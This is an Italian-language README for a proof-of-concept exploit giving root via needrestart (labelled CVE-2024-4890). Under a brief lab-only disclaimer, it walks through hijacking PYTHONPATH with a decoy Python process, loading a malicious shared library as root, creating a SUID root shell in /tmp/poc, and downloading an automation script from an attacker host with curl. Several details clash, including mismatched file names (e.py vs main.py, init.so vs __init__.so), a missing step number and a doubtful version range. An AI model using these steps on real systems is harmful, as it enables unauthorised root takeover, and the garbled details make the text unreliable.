CVE-2024-4890: PoC di escalation dei privilegi Sudo in needrestart

Disclaimer

Solo per uso in laboratorio in ambienti controllati. Non sfruttare su sistemi di produzione senza autorizzazione esplicita. Questo PoC ha esclusivamente scopo didattico. L'autore non è responsabile di eventuali usi impropri o accessi non autorizzati.

Panoramica

CVE-2024-4890 è una vulnerabilità critica in needrestart (versioni >= 3.8) che consente l'esecuzione di codice arbitrario con privilegi elevati. Il problema deriva dalla gestione non sicura delle variabili d'ambiente e dei file di configurazione durante la scansione dei processi.

Nello specifico, quando viene eseguito con sudo, needrestart ispeziona i processi Python in esecuzione, inclusa la loro variabile d'ambiente PYTHONPATH. Un attaccante può dirottarla impostando un PYTHONPATH personalizzato che punta a una directory controllata (ad es. /tmp/attacker). All'interno di questa directory, un modulo malevolo (__init__.so) viene inserito in una struttura importlib fittizia. Quando needrestart tenta di importarlo come root (per verificare le librerie), il payload viene eseguito, concedendo l'accesso root.

Questo PoC dimostra lo sfruttamento tramite un processo Python esca, una libreria condivisa malevola (compilata da C) e uno script di automazione.

Prerequisiti

• Target: sistema Linux con needrestart >= 3.8 e accesso sudo ad esso.
• Strumenti: gcc (per la compilazione), curl, python3.

Struttura dei file

Inseriscili in /tmp/attacker sulla macchina target.

• e.py: script Python esca (gira in loop, attende il successo del payload).
• runner.sh: script di automazione per configurare e attivare l'esca.

Passaggi dello sfruttamento

1. Macchina dell'attaccante: compila lib.c in __init__.so e rendilo disponibile via HTTP:

gcc -shared -fPIC -o init.so lib.c

python3 -m http.server 8000

Macchina target (vittima):

• Crea la directory /tmp/attacker.
• Copia main.py
• Scarica e rendi eseguibile runner.sh:

curl http://<ATTACKER_IP>:<PORT>/runner.sh -o /tmp/attacker/runner.sh
chmod +x /tmp/attacker/runner.sh

Esegui la configurazione in un terminale: cd /tmp/attacker && ./runner.sh

Questo crea il modulo malevolo, lo script esca e avvia il processo Python dirottato.

3. Attiva la scansione (in una nuova sessione SSH): sudo /usr/sbin/needrestart

needrestart rileva il processo esca, legge PYTHONPATH e importa il __init__.so malevolo come root—eseguendo il payload.

4. Ottieni l'accesso (torna al terminale di runner.sh):

• Lo script rileva /tmp/poc (shell SUID di root creata dal payload) e genera una shell di root: sudo /tmp/poc -p Pulizia: rm -rf /tmp/attacker /tmp/poc (e rimuovi la voce sudoers se aggiunta).

Indicatore di successo: whoami mostra root oppure id mostra uid=0(root).